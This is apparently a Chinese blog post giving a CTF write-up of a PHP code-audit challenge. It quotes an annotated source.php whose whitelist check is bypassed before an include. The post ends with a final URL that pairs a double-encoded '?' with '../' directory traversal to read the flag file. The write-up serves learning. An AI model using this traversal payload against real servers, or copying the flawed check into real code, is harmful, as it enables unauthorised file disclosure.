web 1代码审计


地址;http://76279580-1042-4b5c-bd04-88b021399dd9.node3.buuoj.cn
嗯嗯看到有个提示source.php
进去看到有个文件ffffllllaaaagggg目测应该是flag
然后代码审计,看白名单,注意URL的二层编码


<?php
highlight_file(__FILE__);//高亮表示
class emmm
{
public static function checkFile(&$page)//声明函数,检查函数
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
if (! isset($page) || !is_string($page)) {//字符串和判断一个变量是否已经声明的时候 可以使用 isset 函数
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {//搜索数组中是否有page和whitelist
return true;
}

$_page = mb_substr(//mb_substr() 函数返回字符串的一部分
$page,//提取的字符串
0,// 开始长度
mb_strpos($page . '?', '?')//
);
if (in_array($_page, $whitelist)) {//搜索数组中是否有page和whitelist
return true;
}

$_page = urldecode($page);//urlencode()编码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')//
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])//不为空//PHP $_REQUEST 用于收集HTML表单提交的数据。$_REQUEST 变量包含了 $_GET, $_POST 以及 $_COOKIE 的内容
&& is_string($_REQUEST['file'])//字符串//可以不用实例化对象直接使用emmm::checkFile($_REQUEST['file'])获得checkFile($_REQUEST['file'])的值
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
//ffffllllaaaagggg应该是文件夹吧对应的
//http://music.163.com/playlist?id=2899603578&userid=1481450443
//http://www.jintiankansha.me/t/lCMLEBUUKH参考博客,写的很详细,主要是对于phpMyAdmin漏洞的东西
//https://blog.csdn.net/weixin_44677409/article/details/93300823参考博客
////http://76279580-1042-4b5c-bd04-88b021399dd9.node3.buuoj.cn/source.php?file=hint.php%253f/../../../../../../../../ffffllllaaaagggg最终构建
//漏洞具体原因https://www.cnblogs.com/leixiao-/p/10265150.html
//https://www.cnblogs.com/vo-ov/p/3745651.html目录穿越
posted @ 2019-12-17 22:26  adsry  阅读(410)  评论(0)    收藏  举报